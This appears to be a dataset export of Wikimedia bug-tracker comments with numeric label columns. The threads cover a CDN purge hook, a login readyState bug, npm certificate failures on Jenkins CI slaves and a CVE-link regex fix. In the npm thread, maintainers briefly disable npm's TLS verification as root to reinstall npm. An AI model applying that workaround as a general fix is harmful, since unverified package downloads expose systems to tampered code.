+> The `cdn-url-purges` channel will be notified with a list of urls to purge in the CDN. As a site administrator, you'd configure `$wgEventRelayerConfig['cdn-url-purges']`. The extension could provide an EventRelayer subclass that handles messages for `$channel === 'cdn-url-purges'` in the way that your CDN provider requires. For example:
+> 
+> ```lang=php
+> $wgUseCDN = true;
+> $wgEventRelayerConfig['cdn-url-purges'] = [
+>   'class' => MediaWiki\Extension\MyCloudFare\EventRelayer::class,
+> ];
+> ```
+
+",,,1586627502,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7sfermkb72xrj2nbgkhd,task_subcomment,,True,c3,3,True,,,249,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+801590,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),Such a hook should definitely be added.,,,1485925045,,PHID-USER-fqlk2aqfvgbxstwteanc,False,,,PHID-TASK-7sfermkb72xrj2nbgkhd,task_subcomment,,True,c3,3,False,,,82,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+504979,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),"Would it make sense to hook [[mw:Manual:Hooks/TitleSquidURLs]] to get the list of URLs to purge?
+
+It's certainly not how the hook is intended to be used (it's supposed to provide the list so extensions can add URLs) but the worst that can happen should be that extra URLs added by some other extension (depending on order called) miss getting purged. As the hook has only existed since MW 1.22, the number of affected extensions should be small.",,,1439160783,,PHID-USER-r7cceqjsaxyowokghacq,False,,,PHID-TASK-7sfermkb72xrj2nbgkhd,task_subcomment,,True,c3,3,False,,,5,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,1,1
+446708,Allow extensions to provide purge mechanisms for external CDNs (beyond Squid and HTTP PURGE protocol),"Hmm, that's odd we have no hook there (Note that we do have a hook for purging thumbnails - LocalFilePurgeThumbnails, but nothing for general article purging)",,,1429570405,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7sfermkb72xrj2nbgkhd,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+64001,"browser readyState should be ""loading"" until login completes","Seen in fairly recent times, particularly for Internet Explorer: 
+
+Seen particularly in browser tests, which move quickly from logging in to a particular URL: 
+
+It seems that the browser readyState is moved from ""loading"" to either ""interactive"" or ""complete"" before the login process finishes.  I believe this because I see automated tests that log in, then navigate to a URL to perform some action only to get an error message that the user is not logged in. 
+
+I got around this by adding some code to the shared login method here to check for complete login before the tests proceed:  https://github.com/wikimedia/mediawiki-selenium/commit/a1d7fda4af531773a748f990e294fa5adf0b0628
+
+However, this causes problems for tests for the Language teams because every aspect of the user-specific signs of being logged in (Logout link, Preferences, etc.) is localized, making it difficult or impossible to identify a generic way to confirm login. 
+
+It would be better to control the browser readyState properly.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=62244",Medium,50.0,1393517280,1446479567.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-go3a6xovwwfdisig2ikx,task_description,invalid,True,c3,1,False,False,False,-70,True,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+556434,"browser readyState should be ""loading"" until login completes",I do not remember seeing problems with logging in for a long time. Please reopen if needed.,,,1446479567,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-go3a6xovwwfdisig2ikx,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+63508,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"Last working job:
+  https://integration.wikimedia.org/ci/job/mwext-VisualEditor-npm/942/console
+
+  - Feb 16, 2014
+  - Building remotely on integration-slave01
+
+  - node v0.10.22
+  - npm v1.1.38
+
+First failing job:
+  https://integration.wikimedia.org/ci/job/mwext-VisualEditor-npm/943/console
+
+  - Feb 18, 2014
+  - Building remotely on integration-slave02
+
+  - node v0.8.2
+  - npm v1.1.39
+
+16:23:41 npm ERR! Error: SSL Error: CERT_UNTRUSTED
+16:23:41 npm ERR!     at ClientRequest.<anonymous> 
+16:23:41 npm ERR!     at Socket.ondata (stream.js:38:26)
+16:23:41 npm ERR!  [Error: SSL Error: CERT_UNTRUSTED]
+
+Server log:
+  https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&diff=99596&oldid=99549
+
+
+  - February 17
+    - 16:15 hashar: Jenkins deleting slave integration-slave01
+    - 16:14 hashar: Jenkins added two labs slaves with 4 CPU: integration-slave02 and integration-slave03
+    - 08:46 hashar: Upgrading Jenkins, half an hour downtime
+
+
+
+So npm was upgraded one minor version, and nodejs was downgraded *2 major versions*, and (possibly unrelated) it seems to be unable to verify the certificate properly.
+
+According to existing bug reports, this is related to it being a self-signed certificate, however this shouldn't be a problem since a validation mechanism for their official certificate ships with the npm package. Upstream recommends upgrading to the most recent minor version, but that doesn't seem to be the problem considering the bug started happening for us overnight (no certificate change upstream) when we went from v1.1.38 to v1.1.39 (not down).
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://github.com/npm/npm/issues/4838",Medium,50.0,1392752580,1405742229.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_description,resolved,True,c3,1,True,False,True,-72,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1
+291341,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"Existing instances have been patches so marking this as fixed.
+
+The fact that we need to puppetize the patches is a separate bug.
+
+See:
+* bug 68256
+* bug 66056
+
+And the patches are documented at:
+https://wikitech.wikimedia.org/wiki/Nova_Resource:Integration/Setup",,,1405742229,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+291337,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,The new,,,1405719711,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+291334,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,Thank you Timo for fixing up the installation on integration-slave1003.  I guess we can close that bug since you proposed to use node 10.x on bug 66056 which would definitely fix the issue.,,,1401752463,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+291331,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"(In reply to Antoine ""hashar"" Musso from bug 66048 comment #1)
+> Node marked offline on
+> https://integration.wikimedia.org/ci/computer/integration-slave1003/
+
+Brought back online.",,,1401749458,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+291326,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,*** Bug 66048 has been marked as a duplicate of this bug. ***,,,1401749314,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+291319,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&oldid=115053
+
+> 20:08 hashar: Jenkins unpolled integration-slave1003 npm is outdated there and does not trust npmregistry.org ( bug 61508 )
+> 22:37 Krinkle: Hack-patching integration-slave1003.eqiad.wmflabs per https://bugzilla.wikimedia.org/show_bug.cgi?id=61508#c2
+
+
+krinkle at integration-slave1003.eqiad.wmflabs in ~
+$ node --version
+v0.8.2
+
+$ npm --version
+1.1.39
+
+$ sudo -s
+# export HOME=/root
+# npm conf set strict-ssl false
+# l /usr/bin/npm
+
+  /usr/bin/npm -> /etc/alternatives/npm*
+
+# rm /usr/bin/npm
+# /etc/alternatives/npm install -g npm
+
+  ...
+  npm@1.4.13 /usr/lib/node_modules/npm
+
+# cd /tmp && mkdir foo123 && cd foo123
+# npm install jshint
+
+  .. success ..
+  jshint@2.5.1 node_modules/jshint
+
+# l `which npm`
+
+  /usr/bin/npm -> ../lib/node_modules/npm/bin/npm-cli.js*
+
+# npm conf set strict-ssl true
+
+# cd ~ && rm -rf /tmp/foo123/
+# npm install -g grunt-cli
+
+  .. success ..
+  /usr/bin/grunt -> /usr/lib/node_modules/grunt-cli/bin/grunt
+  grunt-cli@0.1.13 /usr/lib/node_modules/grunt-cli
+
+# npm --version
+1.4.13
+# grunt --version
+grunt-cli v0.1.13",,,1401748882,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+291313,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,Has this recurred?,,,1401745339,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-57,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+291307,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"I was a bit upset this morning. I have applied Timo fix from Comment #2 on all four instances:
+
+ integration-slave02.pmtpa.wmflabs
+ integration-slave03.pmtpa.wmflabs
+ integration-slave1001.eqiad.wmflabs
+ integration-slave1002.eqiad.wmflabs
+
+Seems to work now.",,,1395237768,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+291301,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"(In reply to Nemo from comment #7)
+> I don't know if it's the same for you, but docs were wrong for me.
+> <https://www.mediawiki.org/w/index.
+> php?title=Parsoid%2FSetup&diff=930615&oldid=930612>
+
+The doc instructs to use a ppa which provides 0.10.x.  We do not use ppa.",,,1395227517,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1
+291296,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,Mailed ops list.  The Parsoid and VisualEditor npm jobs are now failing and preventing changes to be merged until the SSL cert issue is properly fixed.,,,1395227463,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+291289,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"(In reply to Antoine ""hashar"" Musso from comment #6)
+> Will mail ops list to figure out how to get nodejs 0.10.x marked for install
+> on those hosts.
+
+I don't know if it's the same for you, but docs were wrong for me.
+<https://www.mediawiki.org/w/index.php?title=Parsoid%2FSetup&diff=930615&oldid=930612>",,,1395226795,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0,1
+291282,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"For some reason I managed to get the pmtpa slave nodes back to nodejs 0.8.x which break the VisualEditor npm jobs.
+
+I also created two new slaves in eqiad (integration-slave1001 and integration-slave1002) and they come up with nodejs 0.8.x as well.
+
+Will mail ops list to figure out how to get nodejs 0.10.x marked for install on those hosts.",,,1395226165,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+291275,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"(In reply to Antoine ""hashar"" Musso from comment #3)
+> integration-slave01 received nodejs 0.10.x when it got added to
+> apt.wikimedia.org. It has been later removed but the instance never got
+> cleaned up.
+> 
+> npm, I have no idea, probably similar.
+> 
+> 
+> I dont want the slaves to be tweaked manually, everything must be in puppet.
+> So there is a few bugs that we should fill all related to updating packages
+> in apt.wikimedia.org:
+> 
+> * nodejs 0.10.x (that is apparently a work in progress)
+> * npm 1.3.10 should be backported from Ubuntu Trusty
+> * grunt-cli needs to be packaged
+> 
+> Then we can update the list of packages in operations/puppet.git file
+> ./modules/contint/manifests/packages/labs.pp . It list npm but no grunt-cli
+> since there is no package there.
+> 
+> Does it sound right?
+
+Yes, except for grunt-cli needing to be packaged. We explicitly don't want to do that, like the over 300 other arbitrary npm modules we fetch daily on the integration slaves based on things listed in package.json in local repositories, this yet just another package like that. We can and should (for consistency and for it being the right version) install this via npm.
+
+I'm sure there is a puppet syntax for ensuring a certain shell command has been executed (e.g. based on a certain file existing). Similar to how we use git::clone in some places and the puppet file{} syntax. They're not provisioned packages, just inline specified within our manifest created by something other than a package (a rb template file, a git clone, or, in this case, an npm install)",,,1394660054,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-69,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+291267,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,Lowering priority and assigning back to Timo.  He applied a workaround.  Still have to fill bugs as mentioned in comment #3,,,1393240120,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-71,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+291259,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"integration-slave01 received nodejs 0.10.x when it got added to apt.wikimedia.org. It has been later removed but the instance never got cleaned up.
+
+npm, I have no idea, probably similar.
+
+
+I dont want the slaves to be tweaked manually, everything must be in puppet. So there is a few bugs that we should fill all related to updating packages in apt.wikimedia.org:
+
+* nodejs 0.10.x (that is apparently a work in progress)
+* npm 1.3.10 should be backported from Ubuntu Trusty
+* grunt-cli needs to be packaged
+
+Then we can update the list of packages in operations/puppet.git file ./modules/contint/manifests/packages/labs.pp . It list npm but no grunt-cli since there is no package there.
+
+Does it sound right?",,,1392827453,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-72,True,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+291254,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"krinkle at integration-slave03:
+
+# Enter root and fix HOME so that npm doesn't put cache in /home
+# which is read-only in labs (why?)
+$ sudo -s
+$ export HOME=/root
+
+# Temporarily disable ssl check
+$ npm conf set strict-ssl false
+
+# Remove symlink to apt-get installed version
+# because npm is not allowed to to delete this shadow 
+$ l /usr/bin/npm
+  /usr/bin/npm -> /etc/alternatives/npm*
+$ rm /usr/bin/npm
+
+# Upgrade npm
+$ /etc/alternatives/npm install -g npm
+
+ npm@1.1.39
+ ...
+ npm@1.4.3
+
+# Re-enable ssl check
+$ npm conf set strict-ssl true
+
+# Verify that stuff works by doing an
+# install of an example package (jshint)
+# in a tmp dir
+$ cd /tmp && mkdir foo123 && cd foo123
+$ npm install jshint
+ ...
+ success
+$ cd ~
+$ rm -rf /tmp/foo123
+
+# Install Grunt
+$ npm install -g grunt-cli
+
+ ...
+ success",,,1392755172,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1
+291248,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"So the certificates partially ship with nodejs, not the npm package.
+
+Upstream nodejs takes care to backport these cert changes to v0.8, however the slaves not only downgraded from v0.10 to v0.8 but also to an way older minor release of the v0.8 branch.
+
+There have been 24 (!) minor releases since v0.8.2, latest is v0.8.22.
+
+In case this particular cert change can be mitigated by only upgrading npm, I've done a manual upgrade of npm on the individual instances using npm itself:
+
+ $ sudo -s
+ $ npm conf set strict-ssl false
+ $ npm install -g npm
+ npm 1.1.39
+ ...
+ npm 1.4.3
+ $ npm conf set strict-ssl true
+ $ cd /tmp && mkdir foo123 && cd foo123
+ $ npm install jshint
+ success
+
+The jobs still fail after this because the new labs slaves are also missing grunt.
+
+ $ sudo -s
+ $ npm install -g grunt-cli
+ success
+
+
+Note that I couldn't interact with npm the normal way because for some reason /home is read-only on the integration instances (even in root, npm still uses your original home as location to do some temporary work and caching).
+
+Had to set `export HOME=/root` to bypass that.",,,1392754229,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-72,True,1,0,0,1,1,1,0,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1
+63328,[Regex] CVE http links mangled,"The links in bug #60112, comment #8 are mangled:
+
+- http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7106.html
+- http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7107.html
+- http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7108.html
+
+This seems to come from wikimedia/bugzilla/modifications:extensions/Wikimedia/Extension.pm's $replacerCVE.  There probably needs to be a look-behind assertion in front of the \b.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1392317640,1392394458.0,PHID-USER-vk6mlmacfhx77egryy5i,False,,False,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_description,resolved,True,c3,1,True,False,True,-72,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+281880,[Regex] CVE http links mangled,"Bug #60112, comment #8 shows nicely both kinds of links are working correctly.  Thanks!",,,1392394458,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+281873,[Regex] CVE http links mangled,"deployed, please confirm",,,1392393942,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+281867,[Regex] CVE http links mangled,"Change 113170 merged by Dzahn:
+Add exemption to the CVE linker for Ubuntu security links
+
+https://gerrit.wikimedia.org/r/113170",,,1392393848,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+281861,[Regex] CVE http links mangled,"Change 113170 had a related patch set uploaded by Tim Landscheidt:
+Add exemption to the CVE linker for Ubuntu security links
+
+https://gerrit.wikimedia.org/r/113170",,,1392322098,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+281855,[Regex] CVE http links mangled,"Introduced in bug 45772 - I blame Reedy who wrote this. ;)
+
